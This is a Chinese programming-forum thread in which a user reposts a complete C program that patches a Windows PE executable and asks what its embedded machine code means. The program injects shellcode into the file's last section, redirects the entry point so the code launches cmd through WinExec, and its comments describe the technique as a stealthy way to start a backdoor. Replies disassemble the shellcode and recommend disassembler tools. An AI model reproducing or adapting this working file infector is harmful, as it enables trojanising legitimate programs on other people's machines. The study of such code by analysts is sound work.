请教一段机器码含义?

清钟沁桐 2013-02-26 11:20:21
网上看到一个程序,说是用来演示在windows PE格式文件中注入其它代码。本例便是在文件尾插入打开cmd的命令,但是没有看明白其中数组code内机器码的含义,大家有什么工具可以查看下?
/***********************************************************************************************
This is an example how easy it is to manipulate the execution flow of an Pe-file (.exe)
This little tool will patch a given file, to run the command 'cmd'.
This example is not really usefull but as you can imagine that it is also posible to start a backdoor
very stealth with this technic.

How it works:

1. it will search for the last section of the exe
2. then it will search in the last section where are 69 NULL-bytes to paste your execution code
3. then it start to search for the position in the exe where the first 5 bytes of the code are.
4. save the bytes which will be overwritten (how much it will be you can define with the offset)
5. it will overwrite the bytes with a jump (E9) to the execution-code
6. generate the execution code thst it will look like this
NOP + static code + WinExec address + saved bytes + back jump address
7. paste the exeution code at the postion of 2.
End
***********************************************************************************************/


#include "head.h"

//#define offset 5

void main(int argc,char *argv[])
{
int w=0;
int pos;
int offset;
if(argc<2)
{
printf("\nYOU NEED TO RENAME a exe file(for example explorer.exe) into TEST.EXE\n");
printf("and then put it in the SAME folder as the pefile.exe is!!!!\n\n");
printf("This tool will execute the command 'cmd.exe'\n");
printf("Please use it like this: %s OFFSET\n",argv[0]);
printf("For the explorer.exe please take for offset 6\n");
printf("For the mirc.exe or calc.exe please take for offset 5\n");
exit(1);
}
else
offset = atoi(argv[1]);


char find[69];


char code[]="\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90"
"\x55\x8B\xEC\x51"
"\xC7\x45\xFC\x63"
"\x6D\x64\x00\x6A"
"\x05\x8D\x45\xFC"
"\x50\xB8"
"\xcc\xcc\xcc\xcc"//WinExec
"\xFF\xD0"
"\x8B\xE5\x5D";


char *save=new char [offset];
char back[]="\xB8"
"\xbb\xbb\xbb\xbb"//JUMP BACK address entrypoint+5
"\xFF\xE0";
char *endcode=NULL;
char jump[]="\xE9\xaa\xaa\xaa\xaa";//JUMP in code
// char name[]="C:\\Downloads\\hookexe\\exe\\Debug\\exe.exe";
char name[]="C:\\Downloads\\PEfile\\Pefile_infector\\Debug\\calc.exe";

memset(find,0,69);
// we open the file with Read/Write access
HANDLE file = CreateFile(name,GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,NULL);
// we map the file into memory
HANDLE file2 = CreateFileMapping (file, NULL, PAGE_READWRITE, 0, 0, NULL);
LPBYTE MapFile = (LPBYTE)MapViewOfFile(file2,FILE_MAP_ALL_ACCESS,0,0,0);
section * sec;
IMAGE_DOS_HEADER dosHead = *(IMAGE_DOS_HEADER *)MapFile;
IMAGE_FILE_HEADER *PE = (IMAGE_FILE_HEADER *)(MapFile+dosHead.e_lfanew+4);
IMAGE_OPTIONAL_HEADER *PEoption = (IMAGE_OPTIONAL_HEADER *)((BYTE *)PE+sizeof(IMAGE_FILE_HEADER));
HMODULE hdl;
//find the right plase for the struct
pos = check_data(".text",5,1000,(char *)MapFile,1);
pos -= 4;
sec =(SECTION*) (MapFile+pos);


DWORD EP=PEoption->AddressOfEntryPoint;
DWORD DE=EP+(sec->PointerToRawData)-(sec->VirtualAddress);

printf("ENTRYPOINT: %x\n",EP);
printf("FILEENTRYPOINT: %x\n",DE);


//Get the number of section
int secNumber=PE->NumberOfSections;
printf("secNumber %i\n", secNumber);

//Get the last section
DWORD *section=new DWORD[secNumber];
for (int i=0;i<secNumber;i++)
{
sec =(SECTION*) (MapFile+pos)+i;
section[i]=sec->PointerToRawData;
printf("Section %i starts at %x\n",i,section[i]);
}

//get the last section
sec =(SECTION*) (MapFile+pos)+mAx(section,secNumber);
printf("The Last Section is at posision %i(it starts from 0!!!)\n",mAx(section,secNumber));
printf("the last Section is %x big\n",sec->SizeOfRawData);

DWORD codePos =0;
//sec->SizeOfRawData += 0x70;

//save the overwriten bytes in the code chars
for(i=0;i<offset;i++)
save[i]=MapFile[DE+i];

//calculate the Backjump
DWORD Bjump = EP+(PEoption->ImageBase)+0x5;
for (i = 0; i < sizeof(u_long); i++)
back[1+i] = (char)((u_long)Bjump >> (i * 8) & 255);

//get WinExec Address
hdl = LoadLibrary("kernel32.dll");
DWORD WE = (unsigned long)GetProcAddress(hdl,"WinExec");
printf("WinExec is at %x \n",WE);

//paste the WinExec address in the code
for (i = 0; i < sizeof(u_long); i++)
code[48+i] = (char)((u_long)WE >> (i * 8) & 255);

//find the right place to paste the EGG
codePos = check_data(find,69,GetFileSize(file,NULL),(char *)MapFile,sec->PointerToRawData);
codePos -= 65;
printf("Write code at %x \n",codePos);
endcode =(char*) malloc (65+offset);
for(i =0; i<57;i++)
{
endcode[i]=code[i];
}

for(i =0; i<offset;i++)
{
endcode[57+i]=save[i];
}

for(i =0; i<8;i++)
{
endcode[57+i+offset]=back[i];
}

//paste the EGG
for(i =0; i<65+offset;i++)
{
MapFile[codePos+i]=endcode[i];
}

//calculate the jump to the EGG
DWORD j =codePos-(sec->PointerToRawData)+(sec->VirtualAddress)-EP;
printf("JUMP OFFSET %x \n",codePos-(sec->PointerToRawData)+(sec->VirtualAddress)-EP);

for (i = 0; i < sizeof(u_long); i++)
jump[1+i] = (char)((u_long)j >> (i * 8) & 255);
//paste the jump OP and offset over the orginal entry point
for(i =0; i<5;i++)
{
MapFile[DE+i]=jump[i];
}
for(i =0; i<offset-5;i++)
{
MapFile[DE+i+5]='\x90';
}


FlushViewOfFile(MapFile,0);
UnmapViewOfFile(MapFile);
CloseHandle(file2);
SetFilePointer(file,GetFileSize(file,NULL),NULL,FILE_BEGIN); // now the size is multiple of 103

printf("PATCHED!!!!!\n");
printf("\nThe file test.exe should now run normally but it will execute the command 'cmd'\n");
SetEndOfFile(file);
}
...全文
169 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
清钟沁桐 2013-02-27
  • 打赏
  • 举报
回复
int main(int argc, char* argv[])
{

    char code[]="\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90"
        "\x55\x8B\xEC\x51"
        "\xC7\x45\xFC\x63"
        "\x6D\x64\x00\x6A"
        "\x05\x8D\x45\xFC"
        "\x50\xB8"
        "\xcc\xcc\xcc\xcc"//WinExec
        "\xFF\xD0"
        "\x8B\xE5\x5D";

    FILE *fp_out;
    fp_out=fopen("c:\\dd.txt","w");
    fwrite(code,sizeof(code),1,fp_out);
    fclose(fp_out);
}
使用以上代码将文本文件转化为二进制文件之后,使用Dasm32.exe 'dd.txt'即可
C:\Documents and Settings\zhong\桌面\Dasm32>Dasm32.exe 'dd.txt'
Disassembler for 32-bit instructions.
Version 0.1 (C) Copyright 2003.6.20, by Luo Cong.
Support: 80x86, FPU, MMX, SSE, SSE2, 3DNow! instructions.

Filename: dd.txt

00000000: 90                    NOP
00000001: 90                    NOP
00000002: 90                    NOP
00000003: 90                    NOP
00000004: 90                    NOP
00000005: 90                    NOP
00000006: 90                    NOP
00000007: 90                    NOP
00000008: 90                    NOP
00000009: 90                    NOP
0000000A: 90                    NOP
0000000B: 90                    NOP
0000000C: 90                    NOP
0000000D: 90                    NOP
0000000E: 90                    NOP
0000000F: 90                    NOP
00000010: 90                    NOP
00000011: 90                    NOP
00000012: 90                    NOP
00000013: 90                    NOP
00000014: 90                    NOP
00000015: 90                    NOP
00000016: 90                    NOP
00000017: 90                    NOP
00000018: 90                    NOP
00000019: 90                    NOP
0000001A: 90                    NOP
0000001B: 90                    NOP
0000001C: 90                    NOP
0000001D: 90                    NOP
0000001E: 55                    PUSH EBP
0000001F: 8BEC                  MOV EBP, ESP
00000021: 51                    PUSH ECX
00000022: C745FC636D6400        MOV DWORD PTR [EBP-04], 00646D63
00000029: 6A05                  PUSH 05
0000002B: 8D45FC                LEA EAX, [EBP-04]
0000002E: 50                    PUSH EAX
0000002F: B8CCCCCCCC            MOV EAX, CCCCCCCC
00000034: FFD0                  CALL EAX
00000036: 8BE5                  MOV ESP, EBP
00000038: 5D                    POP EBP
00000039: 0000                  ADD [EAX], AL
stjay 2013-02-27
  • 打赏
  • 举报
回复
用C32Asm 可以直接输入16进制数,看汇编码 随便打开一个PE文件,找一块地方,转到十六进制编辑,输入16进制数字,再转回汇编查看
清钟沁桐 2013-02-27
  • 打赏
  • 举报
回复
C:\Documents and Settings\zhong\桌面\Dasm32>Dasm32.exe 90909090
90      NOP
注意:文件名的左右必须用“'”包围起来,否则是无效的。 这个反汇编引擎可以支持 80x86, FPU, MMX, SSE, SSE2, 3DNow! 的指令。它默认是对 32 位的指令进行反汇编,如果发现用它来得到的反汇编指令与 hiew 等得到的指令不一样,那很可能就是因为 16 位和 32 位的区别。 Syntax: Dasm32 [OpCodes] ['filename'] [-h] [-l] OpCodes Example: Dasm32 B000 'filename' Example: Dasm32 'test.exe' -h Display this help information. -l Output lowercase instructions. 其中,-h表示输出帮助信息,-l表示输出结果用小写字母显示(默认是用大写字母)。该引擎的使用方法有两种: (1)直接输出一串机器码的反汇编指令。例如: 输入: Dasm32 B000 输出: B0 00 MOV AL, 00 输入: Dasm32 B000 -l 输出: B0 00 mov al, 00 注意:机器码的位数必须是偶数的,例如 B000 就是偶数的,你不能贪图方便把它写成 B00 ,因为反汇编引擎无法正确识别这个机器码到底是 B000 还是 0B00 。 (2)对某一个文件进行反汇编。例如: 输入: Dasm32 'test.exe' 输出:
赵4老师 2013-02-27
  • 打赏
  • 举报
回复
不要把 fopen("...","...");fscanf,fprintf,fclose //读时把\r\n替换成\n,写时把\n替换成\r\n;读到\x1a就设置EOF;读写的内容当字符看待 和 fopen("...","...b");fread,fwrite,fclose //不作以上替换,遇到\x1a仍继续读;读写的内容当字节看待 弄混了 《Windows PE权威指南》

64,649

社区成员

发帖
与我相关
我的任务
社区描述
C++ 语言相关问题讨论,技术干货分享,前沿动态等
c++ 技术论坛(原bbs)
社区管理员
  • C++ 语言社区
  • encoderlee
  • paschen
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
  1. 请不要发布与C++技术无关的贴子
  2. 请不要发布与技术无关的招聘、广告的帖子
  3. 请尽可能的描述清楚你的问题,如果涉及到代码请尽可能的格式化一下

试试用AI创作助手写篇文章吧